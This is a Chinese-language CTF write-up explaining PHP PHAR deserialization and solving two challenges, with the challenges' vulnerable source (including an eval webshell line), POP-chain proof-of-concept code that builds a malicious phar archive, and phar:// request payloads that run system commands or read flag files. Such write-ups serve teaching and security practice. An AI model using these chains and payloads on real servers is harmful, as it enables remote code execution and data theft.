PHAR反序列化

PHAR

PHAR(PHP Archive)文件是一種歸檔文件格式,phar文件本質上是一種壓縮文件,會以序列化的形式存儲用戶自定義的meta-data。當受影響的文件操作函數調用phar文件時,會自動反序列化meta-data內的內容,這里就是我們反序列化漏洞的利用點

phar文件的結構

1.a stub可以理解為一個標志,格式為xxx<?php xxx; __HALT_COMPILER();?>,前面內容不限,但必須以__HALT_COMPILER();來結尾,否則phar擴展將無法識別這個文件為phar文件
2.a manifest describing the contentsphar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方
3.the file contents
被壓縮文件的內容
4.[optional] a signature for verifying Phar integrity (phar file format only)簽名,放在文件末尾

將生成的phar文件上傳成功后,使用phar協議讀取文件,在使用phar偽協議解析時,php一大部分的文件系統函數(下圖中的函數)都會將meta-data進行反序列化

phar反序列化利用的條件

  1. phar文件要能夠上傳到服務器端。
  2. 要有可用的魔術方法作為“跳板”。
  3. 文件操作函數的參數可控,且:/phar等特殊字符沒有被過濾

[SWPUCTF 2021 新生賽]babyunser

存在文件上傳,先上傳一個一句話木馬看看

發現會被解析為txt文件,那么先找找源碼看看,利用查看文件的功能看看

index.php

<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上傳文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>

?upload.php

<html>
<title>aa的文件上傳器</title>
<body><form action="" enctype="multipart/form-data" method="post"><p>請選擇要上傳的文件:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上傳"/></form>
</body>
</html><?phpif(isset($_POST['submit'])){$upload_path="upload/".md5(time()).".txt";$temp_file = $_FILES['upload_file']['tmp_name'];if (move_uploaded_file($temp_file, $upload_path)) {echo "文件路徑:".$upload_path;} else {$msg = '上傳失敗';}}

read.php

<?php
include('class.php');
$a=new aa();
?>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>

class.php

<?php
class aa{public $name;public function __construct(){$this->name='aa';}public function __destruct(){$this->name=strtolower($this->name);}
}class ff{private $content;public $func;public function __construct(){$this->content="\<?php @eval(\$_POST[1]);?>";}public function __get($key){$this->$key->{$this->func}($_POST['cmd']);}
}class zz{public $filename;public $content='surprise';public function __construct($filename){$this->filename=$filename;}public function filter(){if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){die('這不合理');}}public function write($var){$filename=$this->filename;$lt=$this->filename->$var;//此功能廢棄,不想寫了}public function getFile(){$this->filter();$contents=file_get_contents($this->filename);if(!empty($contents)){return $contents;}else{die("404 not found");}}public function __toString(){$this->{$_POST['method']}($_POST['var']);return $this->content;}
}class xx{public $name;public $arg;public function __construct(){$this->name='eval';$this->arg='phpinfo();';}public function __call($name,$arg){$name($arg[0]);}
}

明顯存在php反序列化 ,構造poc后,生成phar文件,將phar文件上傳之后再通過post來cat flag

<?php
class aa{public $name;function __construct(){$this->name = new zz();}
}class ff{private $content;public $func = "assert";function __construct(){$this->content = new xx();}
}class zz{public $filename;public $content='surprise';function __construct(){$this->filename = new ff();}}class xx{public $name;public $arg;
}$a = new aa();
echo urlencode(serialize($a));# 下面這部分就沒改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub$phar->setMetadata($a); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();

生成phar的部分可以直接套用

payload

file=phar://upload/a5251443346d8ea6c85877d7ef036536.txt&method=write&var=content&cmd=system("cat /flag")

[SWPU 2018]SimplePHP

查看源碼,提示flag的位置在flag.php

還存在查看文件的模塊,看看能不能利用來查看源碼

file.php

class.php,序列化的代碼,但是給了phar協議的提示

大概率是phar反序列化,function.php主要就是限制上傳文件的后綴

整理一下思路,已知flag在flag.php中,但是沒有辦法直接訪問flag.php,因為在file.php中限制了只能訪問var/www/html下的文件;再看序列化的代碼,不存在unserialize,怎么進行反序列化,通過phar文件自動觸發反序列化;通過文件上傳觸發序列化之后利用file_get_contents來讀取flag.php

開始構造pop鏈

鏈尾毫無疑問是Test::file_get(),file_get在get中被調用,所以觸發get就能調用file_get,從get開始倒推到鏈頭

_get訪問不存在的變量時觸發,Show::_toString,source是不存在的變量無法調用

在C1e4r中,echo可以觸發_toString,destruct在變量摧毀時會自動觸發,所以就形成完整的pop鏈C1e4r::_destruct->Show::_toString->Test::file_get()

poc

$s=new Show;
$t->params['source']="/var/www/html/flag.php";
$t=new Test;
$s->str['str']=$t;
$c=new C1e4r;
$c->str=$s;

生成phar文件上傳后進入 upload頁面拿到文件路徑

用phar偽協議讀取

?file=phar://upload/643dfaadf749736256e05de9e40b864b.jpg

最后進行base64解碼,拿到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/21149.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/21149.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/21149.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

頭歌頁面置換算法第3關:計算LRU算法缺頁率

2 任務:LRU算法 2.1 任務描述 設計LRU頁面置換算法模擬程序:從鍵盤輸入訪問串。計算LRU算法在不同內存頁框數時的缺頁數和缺頁率。要求程序模擬駐留集變化過程,即能模擬頁框裝入與釋放過程。 2.2任務要求 輸入串長度作為總頁框數目,補充程序完成LRU算法。 2.3算法思路 LRU算…

jmeter常用的斷言

包括&#xff08;Contains&#xff09;&#xff1a;響應內容包括需要匹配的內容即代表響應成功&#xff0c;支持正則表達式 匹配&#xff08;Matches&#xff09;&#xff1a;響應內容要完全匹配需要匹配的內容即代表響應成功&#xff0c;大小寫不敏感&#xff0c;支持正則表達…

vue html2canvas生成base64圖片和圖片高度

vue html2canvas生成圖片 exportAsBase64() {const ele document.getElementById(content);html2canvas(ele, {dpi: 96, // 分辨率 scale: 2, // 設置縮放 useCORS: true, // 允許canvas畫布內跨域請求外部鏈接圖片 bgcolor: #ffffff, // 背景顏色 logging: false, // 不…

rust之cargo install cargo-binstall 是什么

cargo-binstall 是什么 官方&#xff1a;https://lib.rs/crates/cargo-binstall Binstall 提供了一種低復雜性的機制來安裝 Rust 二進制文件&#xff0c;作為從源代碼&#xff08;通過 cargo install &#xff09;構建或手動下載軟件包的替代方案。這旨在與現有的 CI 工件和基…

Windows安裝ElasticSearch版本7.17.0

在Windows系統上本地安裝Elasticsearch的詳細步驟如下&#xff1a; 1. 下載Elasticsearch 訪問 Elasticsearch下載頁面。選擇適用于Windows的版本7.17.0&#xff0c;并下載ZIP文件。 2. 解壓文件 下載完成后&#xff0c;找到ZIP文件&#xff08;例如 elasticsearch-7.17.0.…

【算法篇】冒泡排序算法JavaScript版

冒泡排序算法&#xff1a;原理與實現 冒泡排序&#xff08;Bubble Sort&#xff09;是一種簡單的排序算法&#xff0c;它重復地遍歷要排序的數列&#xff0c;一次比較兩個元素&#xff0c;如果它們的順序錯誤就把它們交換過來。遍歷數列的工作是重復地進行直到沒有再需要交換&…

spoon基礎使用-第一個轉換文件

新建一個轉換&#xff0c;文件->新建->轉換&#xff0c;也可以直接ctralN新建。 從右邊主對象樹拖拽一個輸入->表輸入&#xff1b;輸出->文本文檔輸出&#xff1b;也可以直接在搜索框搜素表輸入、文本文檔輸出。 雙擊表輸入新建一個數據庫連接 確定后就可以在S…

【人工智能】第二部分:ChatGPT的架構設計和訓練過程

人不走空 &#x1f308;個人主頁&#xff1a;人不走空 &#x1f496;系列專欄&#xff1a;算法專題 ?詩詞歌賦&#xff1a;斯是陋室&#xff0c;惟吾德馨 目錄 &#x1f308;個人主頁&#xff1a;人不走空 &#x1f496;系列專欄&#xff1a;算法專題 ?詩詞歌…

Java | Leetcode Java題解之第126題單詞接龍II

題目&#xff1a; 題解&#xff1a; class Solution {public List<List<String>> findLadders(String beginWord, String endWord, List<String> wordList) {List<List<String>> res new ArrayList<>();// 因為需要快速判斷擴展出的單詞…

傳輸中的串擾(八)

串擾指的是有害信號從一個線網傳遞到相鄰線網上。通常把噪聲源所在的線網稱為動態線或攻擊線網&#xff0c;而把有噪聲形成的線網稱為靜態線或受害線網。 靜態線上的噪聲電壓的表現與信號電壓完全一樣。一旦在靜態線上產生噪聲電壓&#xff0c;它們就會傳播并在阻抗突變處出現反…

html解決瀏覽器記住密碼輸入框的問題

當瀏覽器記住密碼并自動填充到表單的密碼輸入框時&#xff0c;這通常是瀏覽器為了提供便利而采取的功能。然而&#xff0c;有時這可能不是用戶所期望的&#xff0c;或者你可能希望在某些情況下禁用此功能。 雖然HTML本身并沒有直接提供禁用瀏覽器自動填充密碼輸入框的標準方法…

常見算法(基本查找、二分查找、分塊查找冒泡、選擇、插入、快速排序和遞歸算法)

一、常見算法-01-基本、二分、插值和斐波那契查找 1、基本查找/順序查找 需求1&#xff1a;定義一個方法利用基本查找&#xff0c;查詢某個元素是否存在 數據如下&#xff1a;{131&#xff0c;127&#xff0c;147&#xff0c;81&#xff0c;103&#xff0c;23&#xff0c;7&am…

Leetcode 3170. Lexicographically Minimum String After Removing Stars

Leetcode 3170. Lexicographically Minimum String After Removing Stars 1. 解題思路2. 代碼實現 題目鏈接&#xff1a;3170. Lexicographically Minimum String After Removing Stars 1. 解題思路 這一題的話只需要維護一個有序數列&#xff08;這里我們用堆排來處理&…

C++ C (1152) : 循環賽日程表

文章目錄 一、題目描述二、參考代碼 一、題目描述 二、參考代碼 #include<iostream> #include<vector> #include<cstdlib> using namespace std;void generateSchedule(vector< vector<int> >& table, int numPlayers, int rounds) {// 生…

堆排序-java

這次主要講了堆排序和堆的基本構造&#xff0c;下一期會詳細講述堆的各種基本操作。 文章目錄 前言 一、堆排序 1.題目描述 2.堆 二、算法思路 1.堆的存儲 2. 結點下移down 3.結點上移up 4.堆的基本操作 5.堆的初始化 三、代碼如下 1.代碼如下&#xff1a; 2.讀入數據&#xff…

Harmony os Next——關系型數據庫relationalStore.RdbStore的使用

Harmony os Next——關系型數據庫relationalStore.RdbStore的使用 描述數據庫的使用建表定義表信息創建數據庫表 創建數據庫操作對象增更新查詢刪數據庫的初始化 描述 本文通過存儲一個簡單的用戶信息到數據庫中為例&#xff0c;進行闡述relationalStore.RdbStore數據庫的CRUD…

小公司的軟件開發IT工具箱

目錄 工具鏈困境 難題的解決 達到的效果 資源要求低 工具箱一覽 1、代碼管理工具 2、自動化發版&#xff08;測試&#xff09;工具 3、依賴庫&#xff08;制品包&#xff09;管理 4、鏡像管理 5、授權管理&#xff08;可選&#xff09; 待討論&#xff1a;為什么不是…

LeetCode17電話號碼的字母組合

題目描述 給定一個僅包含數字 2-9 的字符串&#xff0c;返回所有它能表示的字母組合。答案可以按 任意順序 返回。 給出數字到字母的映射如下&#xff08;與電話按鍵相同&#xff09;。注意 1 不對應任何字母。 解析 廣度優先遍歷或者深度優先遍歷兩種方式&#xff0c;廣度優先…

springboot動態切換數據源

1、創建一個springboot項目&#xff0c;導入依賴&#xff08;3.3.0&#xff09; <dependency><groupId>com.baomidou</groupId><artifactId>dynamic-datasource-spring-boot-starter</artifactId><version>3.6.1</version></depe…

滲透測試靶機----FirstLeads_1.3

滲透測試靶機----FirstLeads_1.3 啟動靶機&#xff0c;掃描ip&#xff0c;平平無奇 可以看出&#xff0c;這里是存在139這個主機的&#xff0c;這就是掃描出來的靶機ip繼續探測端口及其他信息 發現這里只開啟了80 端口 嘗試一些基本目錄&#xff0c;發現存在robot.txt文件目錄…